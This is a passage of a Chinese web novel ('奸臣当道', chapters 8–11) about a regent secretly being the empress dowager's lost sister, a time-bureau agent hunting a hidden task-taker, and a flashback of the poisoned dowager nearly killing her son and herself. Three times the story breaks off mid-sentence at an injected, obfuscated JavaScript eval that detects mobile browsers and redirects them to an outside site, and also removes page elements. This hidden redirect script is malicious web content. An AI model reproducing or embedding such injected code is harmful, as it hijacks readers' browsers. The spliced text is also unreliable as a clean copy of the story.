最后离素只能狠狠揉了揉对方脑袋,低声干巴巴的道:“别胡思乱想,你阿姐还在等着你呢,你好好活着才能和你阿姐一起生活。” 和阿姐好好生活…… 李予微笑了笑:“嗯。” 离素却不敢再去看她,她一向不适应这样氛围,收好针就急匆匆的走了。 —— “这小皇帝也太好哄了吧,微生你送个披风他就对你升好感,这情绪值又升一点。” 微生愣了一下,这才反应过来是脑海里的小七在说话。 “你要告诉他你的身份,下一秒就能成为你的好大侄儿,咱们分分钟收集完换下一个。” “可你怎么演上了瘾,到现在都没告诉他。” “我要把你痛感屏蔽的时候,你还说怕太假只让我屏蔽一半。” “这样下去我们什么时候能收集满情绪值啊。” 听到小七嘟囔,微生揉了揉眉心,走到窗前:“收集满了又如何,他又不会跟我们回时空局。” 小七:“啊,小皇帝不是任务者啊,那就是太后喽。” 微生:“如果太后是的话,我们任务早就完成了。” 毕竟太后被归心散折磨这么多年,情绪值满的都快溢出来了吧。 “可是感应不会出错的啊,皇宫里确实有未被唤醒任务者啊!”小七也迷茫了,调出面板不断点击,数据如同流水一般翻动。 微生:“这些年我也和你一样,以为小皇帝或太后是任务者,可之前在张府,张若朴死的时候,我注意到了一点不一样的东西。” “你探查一下,是不是我在张府时,皇宫里探查不到任务者的感应。” 小七查了查:“真的诶,不过随着你回来,皇宫里又显示有任务者了,这是为什么?” 微生:“我怀疑,任务者应该不是人。” “什么?”小七懵了,怎么会不是人?就算任务者跳出时空,也都是人类啊,没听过时空局选不是人类做任务者的啊? 是最近改革制度了,它没收到,落后了吗? 微生透过小七反应就猜到了它在想什么,无奈道: “我的意思是他目前在皇宫里不是以人的状态存在的。” “我们忘了一个人。” “小七你还记得在小皇帝他爹,也就是明成帝周怀瑾吗?” “在原本的剧情里,周怀瑾没那么早死,而周玄祁一直是太子,等到成年后才登基。” 小七:“我记得,当时我们讨论呢,周怀瑾早死会不会是小世界崩裂的原因之一,所以微生你才努力当摄政王,把兴朝拉扯到原本周怀瑾在位时的兴盛状态。” 微生:“但我现在怀疑,周怀瑾虽然早死,但魂体仍旧在这个世界。” “在张府我逼死张若朴时,就发现任务者情绪值突然出现了很大变动,最开始我以为是小皇帝,可直到临走前,我好像隐约看到了他。” “所以我推翻了之前所有推测,如果我没猜错,周怀瑾才是我们在皇宫里苦苦寻找的任务者。” “这么多年,我们的目标都使错了。” 8. 奸臣当道 “可是怎么会呢。”小七不理解,这几句话几乎让它的cpu要炸了。 “任务者来到小世界,为了维持世界稳定,收割功德,才暂时借用原著民的身份,但这个小世界是存在他们的灵魂的,任务者不可能连灵魂都代替了啊。” 微生:“但任务者选的角色他们在原本时间线就是死亡的,还是身死神灭的那种,小世界根本没有他们的灵魂了。” 小七:“就算如此也无法替代原著民啊。” 微生:“不是替代,小七,你有没有想过,为什么他们会迷失自己,被动沉浸在小世界角色中?” 小七一愣:“不是因为任务者抵挡不住原著民记忆影响,最后迷失其中反而失去了自己的记忆吗?” 微生:“你说的没错,可我想到了另一种可能。” “因为我们每次被动沉浸的角色他们在原本时间线基本都是有强烈执念的。” “执念不散的灵魂是无□□回的,会随着身体化作尘土而消散世间,所以我们任务者代替其身份才不会被天道排斥。” “可另一个角度说,我们的到使他们的身体得以保留,那你说会不会也变相的留下他们的一缕魂魄?” 小七这么一听,顿时蹦了起来。 “你是说任务者扮演的原著民还尚存魂魄?而任务者被动沉浸小世界,都与原主魂魄有关?” 微生:“我的猜测是,那缕魂魄就藏在任务者的魂魄里,他们相互交织影响。” “不过我说只是猜测,没有具体证据证明任务者迷失到底是不是受到原主影响。也不知原本的明成帝魂魄到底在不在。” “不过既然有了猜测,那就实验看看能不能证实。” —— 李予微刚出门,就看见原本一直守在门口的尺霜从外面匆匆赶来。 “主子,娘娘醒了。” 李予微一愣,顿时加快速度朝主殿走去。 而在未央宫主殿卧房中,贺英姝怔怔的坐着,一旁的离素一边给她探着脉,一边念叨着: “你这一天天头不疼吗?怎么总想东想西的,朝里朝外有小微在,而周玄祁那小子既然都有主意了,你也就操心,怎么还能把自己给弄发病了。” 贺英姝从醒来就没怎么说话,听到离素的话也沉默良久。 自家好友如今心思重她十分清楚,所以离素也只是随口调侃,没指望她能回答。 探完了脉就要去写药方,日常喝的几味药要调整一下。 就在离素转身时,贺景窈突然开口,说了一个毫不相干的话题: “我刚得到消息,逢春剑出现了。” “离素,阿窈……她真的还活着!” 砰! 离素一个没拿稳,手里的药箱直接摔在地上,贺英姝却只以为是和她一样,被这个消息震惊到了。 于是连忙喋喋不休的分享自己得知这个消息的喜悦与心情。 曾经掌握整个朝堂,纵使面对各方势力针锋相对仍不改色的太后娘娘,此刻却像那个找到家人的小女孩,整个人都仿佛被注入灵魂一般,变得格外鲜活。 离素见她这幅样子,只一眼便不敢再看,低着头一边收拾药箱时,却发现了一抹玄色的衣角。 一抬眼,就看见李予微站在门口,神情怔然未曾进门,显然也是听到了。 一时之间,耳边贺英姝略显欢快的声音,与门口那抹静默苍白的身影形成鲜明对比。 离素心中一抽痛,转身却仍旧用尽可能用平稳声调对贺景姝说: “也许弄错了呢,或者那个人只是意外得了逢春剑。” 贺英姝却十分笃定:“不可能,离素你不知道阿窈她有多喜欢她那柄逢春剑,对那柄剑也有着不一样的坚持。” “要知道剑本就是伤人凶器,可阿窈每次拿着逢春剑打架居然都尽可能的避免剑身沾血。” 贺英姝说起这件事,语气中便带了几分无奈,可更多的是藏不住欢喜与柔软。 “阿窈说逢春剑并非杀人之剑,剑尖之下绝不会轻易伤人性命,更不会沾无辜者之鲜血。” “如果无法确保他人持此剑做到这点,那她宁可剑断,也绝不使逢春落于他人之手。” “而我得到消息,逢春剑是完好的,肯定是阿窈!” “阿窈的逢春剑可不是谁都冒充的了的,更不是谁都能使得出的!” 可不是谁都冒充的了的…… 离素心里默念了念,她终于明白,为什么阿姝每次发病时,其他人还好,面对李予微却总会情绪失控的这么严重,有着很强的排斥感。 是因为在阿姝心中,自己的妹妹仍旧是那个钟爱酒和月亮,永远沐浴春光的浮生楼少楼主。 而现在她面前的李予微,却是试图冒充她妹妹的冒牌货。 因为归心散的缘故,贺英姝虽然没被控制,但情绪被放大的很严重。 尤其是恶念情绪,哪怕只有一丝,都会被捕捉然后放大,彻底左右情绪。 所以才会在发病时,对那个曾经那个试图冒充自己妹妹的人,被归心散勾起恶意吗? 因为在她心中妹妹的位置独一无二,她的妹妹不可替代,举世无双。 但如果真的是冒充也就罢了。 可是她就是阿窈啊! 哪怕与过去天差地别,现在的李予微就是曾经的明媚如春光般的浮生楼少楼主——贺景窈啊! 离素望着面前的贺英姝,蠕动着双唇,最后张开嘴想说些什么,却被另一道身影的插入而被迫打断。 李予微不知何时走到了贺英姝前,附身蹲了下去,将离素挡的严严实实。 “娘娘醒了,可还有哪里不舒服吗?” 听到声音,贺英姝就明白面前这团玄色光影的主人是谁了。 贺英姝努力将眼睛定焦在这团光影上,但有心人一看就会发现这双眼睛是无神的,根本没怎么聚焦。 这个人是个瞎子。 早在归心散刚下那几年,她就起了头风,严重时头疼的成宿睡不着,连带着她的视力也变得模糊,根本看不清人。 到后来更是直接成了一个瞎子了。 离素这些年一直在试图治疗,可她的头风眼盲大多源自心病。 历来心病最难医,她也是成了太后之后逐渐心境越发沉稳,这头风之症才开始缓解。 后来周玄祁长成后,她就听了离素的话,干脆还政静养,这些年才有了些治疗成果。 眼前能模糊的看清些许光影,但仍旧无法聚焦,还时常将人影和物影弄混。 但她仍旧伸手,朝那团玄色光影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588898|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探去,可总是找不准位置摸了个空。 最后是李予微伸出手,将那只探出的手准确的贴在自己脸上,感受掌心传来的暖意,李予微一时之间竟舍不得放手。 “我是不是又害你受伤了。”贺英姝道,语气中夹杂着愧疚。 清醒后她并非丧失了发病时的记忆,所以她还记得当时她将茶盏扔出去。 以及当时眼中看到那团玄色光影中夹杂的零星的红,和闻到那细微的血腥味。 发病时被归心散控制,只觉得心头微微快意,可清醒时当时的那些快意就会化成无尽的愧疚。 所以这么些年她一直躲在未央宫,若非朝政大事绝对闭门不出,不仅将周玄祁避之门外,身边之人也尽数被她疏离,为的就是怕自己发病伤到身边之人。 贺英姝很清楚,她一旦归心散发作,那么她体内负面情绪就会被全部放大,她会沉溺在无数个充满恶意的幻境。 到时她根本分不清幻境还是现实中的人,在被放大的情绪下,只会将无数的恶意尽数倾泻给身边之人。 哪怕那恶意并非她所愿,哪怕身边人知道她是被归心散控制。 可是说出去的恶语犹如寒刀,插在心上无论是否有意,都会疼。 所以在归心散发作最严重那段期间,她大部分时间都深陷幻境中,混沌迷茫,只有披露的恶意。 而当她那短暂的清醒时间里,就会被发病期间犹如恶灵附身般所言所行的记忆淹没,从而被深重的愧疚席卷而无法挣脱。 哪怕她清楚身边人不会怪她,可不过短短几月,她就轻而易举的发现别人在面对她时挂上的假面。 这种假面是为了抵挡她的恶意,以及掩藏自身的难过。 而这种轻而易举看透假面下的痛苦与苍白的能力,却也拉着她陷入了和你深重的愧疚。 也许正因为他们发现这种愧疚在慢慢的毁了她,所以虽然所有人都不愿意,可他们还是依着她自囚在未央宫中,没有强行拉她出来。 “娘娘安心,臣没事。” 声音一如既往的平缓而冷静,还带着些许的安抚,却将贺景窈飘散的的思绪拉回了些许。 那时候的她甚至不想见任何人,只有面前人是个例外。 为什么她是例外呢? 也许是因为她做过自己一段时间的妹妹。 也许是因为在阿瑾走后,在未来的很多年间,她发病时近乎全部的负面情绪都倾泻在她一个人身上。 可这个人不仅将她的一切都包容,却又不像其他人一样,因她的愧疚不安而忐忑,因她的所作所为而离开。 或者说,她软硬兼施,用尽了办法都没有将这人赶走。 这个人就像是一潭沉静的死水,无论往里面扔进去什么都会被安安静静的吞没,最多起一些细微波澜,却不会因为这些波澜而拒绝下一次石子的投入。 也许那水面之下,也同样蕴藏着惊涛骇浪,可至少这么多年她从未看透那水面。 因为往那个水面投入了太多的痛苦与伤害,所以这么多年贺英姝一直都是愧疚的。 只不过她知道无论她怎么做,面前的人都不会离开。 所以她放弃了将人赶走的想法,反而因为这么多年独特的相处模式,让她们有了与旁人不一样的亲昵与默契。 9. 奸臣当道 贺英姝将人拉到了自己身边坐下,但拉着她的手一直没松开。 “伤到哪里了?有让离素看过吗?” “怎么这么多次了,你怎么还没学聪明点,每次都傻站着被打,见我情况不对就直接制住我,或者拎起什么就往我这边砸,赶紧把我打晕就安分了。” “或者你学一学什么远程用内力将人打晕,也不用特意找师傅,跟我学就成,我虽没有内力了,但曾经学过的也没全忘了。” “或者你没事往身上多藏几个暗器,角度刁钻一击致命。” “一个武功高手被我一个内力全失的人砸伤了脑袋,传出去都要被人笑话。” 李·被亲姐传授打晕她的一百种方法·予微:“……” 而一旁的贺英姝还在念叨着,活像对自己家养小白菜在外独立的大家长想法: “你啊,就是太阳光了,总是如今还坐在了摄政王的位置,不知道有多少人不识好歹的想要害你。” “你也不要总这么阳光善良,对他人不设防备,指不定哪天就被人阴了,所以还是要多准备点防身的,免得哪天被那群小人害了。” 一直在一旁听着的离素:“……” 她现在也没刚才那股伤感情绪了,满脑子想着的就是: 你说谁阳光善良? 那个朝堂上手段凶残、杀人如麻的权盖京都的李予微? 那个京城中恶名昭著、能小儿止啼的祸国奸臣李予微? 你还记不记得你儿子刚跟你吵架,因为你身边这人刚灭了中书令一家! 贺英姝显然也想起这点,声音低沉了一瞬: “至于张若朴……是他咎由自取。” 贺英姝显然也只道张若朴有参与过,但他毕竟是阿瑾的老师,她终究没办法要了对方性命。 到如今这个结果,她也绝不可能像周玄祁希望那样,为其讨什么公道。 而一旁的离素看着这幅场景,不禁想起曾经在浮生楼时,阿姝就对自家妹妹就有着极强滤镜。 就是那种其他人都是心狠手辣,不择手段的老阴比,只有自己妹妹漂亮单纯、不谙世事。 就连当时的小周玄祁被阿窈挂树上,都被阿姝直接将周玄祁一顿训斥,认为是他太过顽劣,才被小姨一顿惩罚。 这还让当时只有几岁的小周玄祁一顿嫉妒,认为阿娘最喜欢的不是自己,而是小姨。 虽然他在某种程度上确实真相了。 但彼时的小周玄祁却仍旧在所有人中最喜欢小姨。 因为那时候阿窈确实要比阿姝夫妻俩更宠孩子,怕是周玄祁自己都不知道,因为阿窈对他的格外宠爱,甚至还被自己亲娘暗暗醋过。 并因此悄咪咪的给他多布置了不少功课,好让他没时间整天缠着阿窈四处跑。 怕是阿姝自己都没察觉,就算她不知道面前人是自己妹妹,却仍旧对面前人倾注着无尽的偏爱。 这算是姐妹间的心灵感应吗? 而此时‘单纯善良’、‘阳光不谙世事’的李予微此时声音却一下子就低了下去。 “是臣一时愣了神才这样的,也就一点点疼而已,娘娘不必在意的。” 话虽这么说,但任谁都听出来那话里的委屈都能溢出来。 离素看着每次金针通脉痛的几乎直不起身子,浑身颤抖却都未曾叫过一声的李予微,此刻却因为一点额头小伤,仿佛瞬间柔弱了下去了一般,直接将头靠在了贺英姝肩上。 贺英姝一听就更急了,非要离素再给看看,离素虽觉的无奈,却仍旧仔细看看。 虽然知道李予微是特意捏着这点伤来抱怨,做足了被欺负的姿态,就是为了让人心软。 可无论是贺景姝,还是离素,都是对其纵容的。 贺景姝可能是因为姐妹之间感应,哪怕没认出来面前的妹妹也会下意识心软退让。 但离素却是知道一切的。 她知道过去的贺景窈,也认识现在的李予微。 知道她从不会随便对人摆出这幅模样,只有足够亲近才有机会看到。 也见过这人被所有人宠着的样子,所以才会养出只要有一点点小伤就摆出受了天大委屈的性子。 许是前十余年的人生太被上天偏爱,所以当偏爱被收回时, 或许是因为知道自己再也回不到过去,所以曾经那份被父母姐姐养出来的娇气也消散的极快,极速的长成了另一番模样。 极为挺立,极为倔强,极为心疼。 所以相比尽春华和金针通脉时无声无息的忍耐与整个人仿佛碎掉一般的苍白,在阿姝面前会抓着一点微不足道小伤委屈撒娇的李予微,更能让人安心。 如今也只有在阿姝面前,似乎才能略微窥探到,曾经那个集万千宠爱于一身的浮生楼少楼主些许模样。 最后离素仔细查看后留下了一盒药膏。 “虽然伤口不大,但毕竟在额头上,还是要好好上药避免留疤。” 贺英姝一听比当事人还要紧张,连忙拉着又百般嘱咐,说着说着,她顿了顿,轻声开口: “阿祁还小,很多时候总是任性长不大,这些年让你操了不少心,浮生楼一事他也不记得,你该教训教训,却也别跟他一般见识。” 贺英姝在发现周玄祁竟动了暗卫去暗杀李予微时,也是极为生气。 尤其是他大半夜跑过来质问他,却是为了张若朴时,气上心头恨不得把一切都说出来,然后把人拎到浮生楼的祠堂面前好好修理。 可她终归是忍住了,阿祁好不容易忘了那些事,她终归不舍得拿这些过往仇恨,让他也跟着一起痛苦。 李予微也沉默了片刻,显然贺英姝说的是他让暗卫暗杀她的事,随即轻笑几声: “臣不会在意这些的,陛下还小,总有一天会明白事理,长成万世明君的。” 听到这话,贺英姝心也稍稍放下了,只是对着李予微却更加愧疚。 这件事终归是委屈了她。 连忙拉着李予微还要说些什么,却被李予微一个话题就轻易引开。 “我刚刚在门口,听到娘娘说逢春剑出现了?” “娘娘是从哪里得到这消息的?” 贺英姝顿了顿,才反应过来李予微说什么,回答道: “就是底下人报下来,说有人在姑苏看到了回春剑诀,使得还是逢春剑。” “那肯定是阿窈,她在姑苏!她有回浮生楼吗?有去见阿爹阿娘吗……” 贺英姝声音喃喃,一旁的离素却看向李予微。 她记得很清楚,逢春剑是她亲手捡回来,交到李予微手里的,应该在李予微手中。 此时阿姝却得到了逢春剑在姑苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588899|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的消息…… 像是察觉到离素的眼神,李予微微微笑了笑,伸出一根手指在唇边比了比,见离素不会说什么,这才对贺英姝道: “娘娘放心,臣立刻派人去姑苏查看,一旦探寻到逢春剑踪迹,立刻让人回禀。” 贺英姝一怔,此刻才察觉到从她发病到现在,李予微一直自称的都是‘臣’,而不是‘我’。 是她之前发病时,还是方才让她伤心了吗?所以不敢再用‘我’自称。 如今逢春剑出现,阿窈肯定也在,她知道了也会有所恐慌吧。 但如今在她心里,面前这人也很重要的。 她这么想的,也这么说了。 毕竟曾经权掌京都的太后娘娘会和那些老狐狸绕圈子,但私底下的贺英姝一向是直来直去的。 而在场的另外两人都愣住了,尤其是李予微,她无法忽略在听到这话时心头微微的颤抖,忍不住想: 阿姐一向这样,虽然很多事都笨笨的,很多时候却总有让人无法招架的能力。 就比如现在。 阿姐总说自己永远败在了她身上,只要她一放软声音,她就什么都愿意退让。 可实际上她也是如此。 阿姐似乎不知道,自己也总会败在她不经意的话语和直白的疼爱下。 也许真诚真的是必杀技吧,没有人能在一片纯然的感情面前不动容。 曾经的贺景窈对这种疼爱习以为常,如今的李予微却贪心不足,得到了一点就想要更多。 “那娘娘也会像喜欢贺景窈一样喜欢面前的李予微吗?” 话一出口,场面一片寂静,李予微像这才发觉什么一样,整个人瞬间慌乱起来。 她明白自己要的太多了,人不能这么贪心的。 可以前的姐姐最疼她的,无论她喜欢什么都会摆在她的面前。 她一直都是姐姐最喜欢的人。 李予微的睫羽颤了颤。 可她不是以前的贺景窈啊。 她是李予微,李予微没有资格要太多的。 可是看着面前的姐姐,像是刚才姐姐的话给了她勇气,她还是忍不住想要多一点,就一点点。 所以她过了一会,她再一次开口,只是这一次声音放的更轻微,请求也放得更低了一些。 “那……就让李予微和贺景窈一样,做娘娘的妹妹,好吗?” 这一次场面没有沉默太久,贺英姝轻轻叹了一口气: “在我心中,你几乎和我妹妹一样了。” 几乎…… 李予微心底念了念这个词,声音很浅,夹杂着极其细微的祈愿,仿佛很轻易就能被风吹散。 “所以……我也能和您妹妹一样,叫你一声‘阿姐’吗?” 二月春寒料峭,在姑苏早该盛开的杏花,京城却只有光秃秃的枝头,可未央宫的杏花却开的极好,随着寒风微舞,敲开了合紧的窗户。 窗外漏进来细碎的金光此刻将两个人拉的很长,贺英姝微微抬头,她看不清面前人的表情,却看到了眼前闪烁的光影。 光影之间重重叠叠,仿佛交织出了另一个人的模样。 那个青色罗裙,笑容清浅,永沐明光的少女模样。 那个模样,却又在交织面前玄色幻影上时,一点点散开。 “对不起。” 10. 奸臣当道 “阿姝!”一旁的离素在话音落下时就忍不住低呼。 要知道这是李予微这么多年第一次这般请求,这么多年她一直把李予微和贺景窈分的很清楚,李予微手染鲜血,罪无可恕,而贺景窈干干净净,洒脱自由。 好不容易……好不容易在自己最亲近的姐姐面前,将属于李予微的厚壳打开,露出些许近乎贺景窈的渴望…… 怎么能…… “我是阿窈独一无二的阿姐。” 这一声贺英姝说的很肯定,像是在答复离素,又像是回答李予微。 她是阿窈独一无二的姐姐,就像阿窈是她独一无二的妹妹一样。 “小微,你是我的朋友,亲人,是这么多年一直陪在我身边的人,在我心中你的地位去我同等重要。” “但是妹妹这个位置,我只给了一个人。” 也只会留给一个人。 李予微垂下眼,声音嘶哑。 “那个人可真幸运,能做娘娘唯一的妹妹。” 贺英姝却笑了起来:“是我很幸运,能当阿窈的姐姐。” 说到这里,贺英姝想起什么,转头保证般的道: “就算没有这个名头,你在我心里也是独一无二的。” “我保证!” 「“阿姐自然是最喜欢阿窈的呀!” “阿窈就是我最独一无二的妹妹,谁也代替不了!” “我保证!”」 李予微听着这话,像是听到了很久以前阿姐对她的保证。 原来阿姐一直记得。 无论怎么坚强,此刻她也没忍住红了眼眶。 “娘娘病还未愈,早些休息吧,逢春剑的事,我会派人打探的。” “陛下一直担心您的身体,娘娘明日不妨见陛下一面,也让他安心,至于我那边还有很多公务没处理,就先不打扰娘娘休息了。” 李予微起身并未多说什么,就急匆匆离开了,贺英姝感受着身边猛然空下来的地方,有几分空茫。 “离素,我是不是让她伤心了?” 也许她该答应,让她做自己的妹妹。 明明心里并不排斥的。 离素却沉默了下来。 伤心吗? 如果她只是李予微,就算不伤心也会有失落吧。 可她不仅仅是李予微啊。 无论她怎么分割,怎么否认,她都无法将曾经的贺景窈与如今的李予微摘取干净。 所以刚才听到那番话,没有忍住红了眼眶的人,不忍再看匆匆忙忙落荒而逃的人,究竟是李予微,还是贺景窈呢? 或者说是有几分李予微,又有几分贺景窈呢? 离素无法回答,贺英姝也并没有执着她的答案,只是沉默的伸出手任她检查。 脑海里却忍不住浮现一幕幕过往。 那些关于曾经的碎片散乱,里面有关于她,关于阿祁,关于阿瑾,以及关于李予微的过往。 李予微是何时来到她身边的呢? 是在那次失控之后。 那次失控,她差点杀了自己的亲生儿子。 那是最开始被归心散控制那几年,那时她整个人几乎每时每刻都陷入负面情绪中。 她一次又一次攻击身边的人,最严重时,要不是阿锦及时赶到,周玄祁怕是长不到如今这般年岁。 阿瑾虽然他及时救下来周玄祁,但小周玄祁却也因此生了一场大病,过往的一切都给忘了。 而贺英姝自那以后,就自囚于未央宫,不肯再踏出半步,无论谁说都不听。 贺英姝至今无法忘记,自己眼前血红朦胧之间,看到的是自己小周玄祁青紫的小脸和一双藏满泪水,却又逐渐黯淡下去的眼睛。 “阿……娘……”从极其稚嫩又极为细微的声音从喉咙间挤出。 那一声像是用尽了全部力气,一直拼命挣扎的小手也无力的慢慢垂下。 在那双手彻底垂下的那一刻,贺英姝心里忽然蔓延起无尽的恐慌。 许是恐慌驱散了杀意,自己的眼前血红渐渐散去,面前的场景也完完整整的映在了她的眼睛里。 她的手像被烫到了一般松开,可那个幼小的身体就像一个被扔掉的破布娃娃一般直接摔在了床榻上,毫无生气,毫无声息。 她整个人摔在地上,浑身血液凝固,她甚至不敢上前去探一探床榻上人的气息,全身都在制止不住的颤抖,眼泪不自觉的流着。 她头痛欲裂,眼前再次被一片血红覆盖,耳边不断回想着刚才那声细微的呼唤,每一声都像一根针一般刺进脑袋里,搅得她生不如死。 疼痛中她看到了因混乱摔在地上的碎瓷,她神智一片混乱,模糊间她好像听见遥远的传来一个声响。 砰! 她感觉手一痛,碎瓷从手掌飞出,她感觉手腕被人抓住,低头一看是遍地的血红,这一刻她分不清是真的血,还是她眼睛里的幻觉。 还没等她反应过来,就陷入了一片黑暗,失去意识前,血红似乎再次褪色,变成了阿锦近乎目眦欲裂的神情。 她被打晕了。 再次醒来,记忆一幕幕浮现脑海,她头一次那么恨自己为什么总会清晰的记着发病时的记忆,从心底蔓延的极为深重恐惧瞬间席卷了四肢百骸。 她杀了阿祁。 她杀了自己的亲生儿子。 这个认知使她的五感瞬间远去,崩溃到只剩下一柄极为尖锐的利刃在脑袋里翻搅。 在这种疼痛中,她唯一的想法就是: 她要找阿祁。 她这个母亲那么不合格,要是再丢下阿祁一个人,阿祁肯定不会再原谅她了。 这么想着,双手也落在了自己的脖颈上,像之前掐死阿祁那般一点一点的收紧了手。 窒息感逐渐涌上全身,手指却越发收紧,这一刻她脑海中的疼痛仿佛都在远去。 阿祁是不是也是这般感觉? 她细细的感受,脸上却没有半点痛苦的模样,反而展开一抹奇异的微笑,仿佛在进行一场盛大的祭祀。 “阿姝!松手!” “你看着我!阿姝!阿祁没死!他没死!” 手指被人大力掰开,然后落入一个怀抱中,被人那人禁锢在怀中,死死的扣住了后脑,迫使他们额头相贴,紧接着一声一声的安慰就传进耳朵里。 是阿瑾。 她怔怔的看着阿瑾,意识并没有彻底清醒,只是将目光定在阿瑾脸上,像是在确认说的是不是假话。 最后被阿瑾带到了小周玄祁的房间,越过屏风,看到床榻上那个小身影微微起伏的胸膛才彻底相信。 可是目光落在周玄祁的小脸上时,脑海里就浮现了当时他面容青紫,拼命挣扎的样子。 她不敢上前了,甚至后退了几步,她不敢看小周玄祁,也不敢再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588900|143192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠近。 因为她是个疯子,她差点就杀掉了自己的孩子。 她也会杀掉所有人的。 她不能再靠近他们了。 其实她应该死掉的,死掉就不用再受归心散控制,也不会再伤害任何人了。 可是还不可以。 她脑海最后一丝理智告诉自己还不可以,她还不能现在死掉。 所以她将自己关在了未央宫,关在了屋子里,用铁链将自己锁住,任谁呼唤都不听,任谁靠近都不行。 或者说她已经快听不见那些声音了。 脑袋里的疼痛持续性蔓延,眼前的一切也都变成了一团一团的光影,只有那天的场景一直清晰,交叉着爹娘和妹妹满脸是血的面容,拉着她的意识反复沉沦。 她不知道在这种幻觉中沉溺了多久,期间好像听到了阿锦的声音,还有离素的,以及其他人的。 她分不清这是幻觉还是现实,她的负面情绪被放大了无数倍,她已经被负面情绪拉扯控制。 直到恍惚间她听到了另一个声音。 “阿姝,我们找到阿窈了。” “你要见见她吗?” 沉溺在幻境中的贺景姝好像清醒了片刻。 “那你先出来好不好?” “你出来我就带你去见她。” 阿瑾说他找到阿窈了。 是真的吗? 像是听到她心底的怀疑一般,耳边又响起了一声肯定。 “是真的阿姝,我们找到阿窈了!” “她特别想见你,你不想见见她吗?” “你出来就能见到她了。” 是离素。 许是因为那些痛苦的幻境中极少出现离素的身影,所以在离素声音响起时,她渐渐的相信了。 是离素!是现实! 她现在在现实之中。 而他们说找到阿窈了。 所以也是真的。 一时之间她竟有些无措,她这幅样子,不知该怎么面对她的妹妹。 她看不清了。 就算她努力吃药,配合治疗,她面前的景象还是化成了大团大团的光影。 在光影之上浮现一个又一个幻觉。 这些幻觉清晰的可怕,又一次又一次的重复,甚至让她分不清真假。 而脑中尖锐的刺痛还在不断提醒着她,自己现在就是一个疯子。 所以…… 万一她发病了怎么办? 万一她又伤到阿窈了怎么办? 这一瞬间她又生起了逃避的心里,甚至不想去见阿窈,不想让她看见自己这幅样子。 但这种逃避被另一种渴望淹没了,她太想妹妹了。 她迫切的想知道阿窈的样子,想去抱一抱自己的妹妹。 哪怕她现在什么也看不清,哪怕她现在狼狈万分。 可这种迫切甚至压住了不断在脑海里重复的幻境,只剩下纯粹的渴望。 所以她最终还是走出了屋子。 她努力的给自己梳洗干净,甚至让人给自己上了点妆,努力让自己像一个正常人去与阿窈见面。 站在殿内等待时,她头一次这么彻底的压制住了眼前的所有幻境,没有受到幻境影响,只是站在那里,满心欢喜的等着自己的妹妹。 “阿姐……” 一道轻微的,沙哑的声音响起,带着微微的颤抖。 11. 奸臣当道 贺景姝迷茫的看着前方。 是谁? “阿窈?” 可是在她的记忆中,妹妹的声音一直都是是清亮的。 在记忆中,她们家乡的女子说话都带着水乡独有的温软,只有她妹妹不一样。 许是因为在山里住过一段时间的原因,阿窈的声音总是清泠泠的,总带着几分山间清泉一般的清灵,却又如玉石相击一般动听,在一众绵柔语调中格外不同。 只有朝她撒娇是,语调中才又带着些许江南女子的清甜与绵软,像江南最缠绵的风,吹的人格外心柔。 可无论哪一种都不是像现在这样,嘶哑、低沉,如同被火烧焦的枯木,发出喑哑嘲哳般难听的声音。 可相比自己,对面的人却像是极为激动,在她那声音落下后,贺英姝就感觉到你个人扑进了自己怀里。 贺英姝下意识搂住,却感觉自己仿佛搂住了一把骨头。 好瘦……好凉…… 记忆中的妹妹总是喜欢赖在自己怀里,软若无骨般的躺在自己腿上,无论谁叫都撒娇般的不肯起来。 贺英姝也是特别喜欢搂着自己妹妹的,因为怀里柔软的身体手感极好,又因修了占春芳,所以身上总是暖融融的。 更是因为此时的阿窈最好说话,每次任她捏脸摆布都不生气。 就是每次都要一边哄着,一边捏着她身上的软肉威胁,才能使她从怀里出来。 此时眼前大团的光影上又浮现了无数的画面,只不过这一次并不是幻觉,而是藏在脑海深处的记忆。 可她此刻怀中的人却无一处与记忆对应的上。 可是为什么呢? ——当然是因为她不是你的妹妹啊! ——她不是你的妹妹。 ——她只是其他人为了哄你出来,找人假扮的。 ——她是假的…… 心底突然响起一个陌生的声音,无声无息,却又像黑暗处伺机待发的毒蛇,一点一点的缠在她的身上,一遍一遍的在她心底回响。 许是她的异常太过明显,怀中的人动了动,沙哑又略带疑问的声音响起: “阿姐?” “阿窈……让阿姐看看你……” 贺英姝费力的控制着自己的声音听起来平稳,却仍旧有藏不住的颤抖。 一边说一边伸出略微颤抖的手,朝着声音的方向伸去,一点点抚摸着怀中人的面容。 她终究没有摸骨辨人的能力,一点点的摸着五官,试图在其中找到与记忆中的妹妹一样的地方。 没有…… 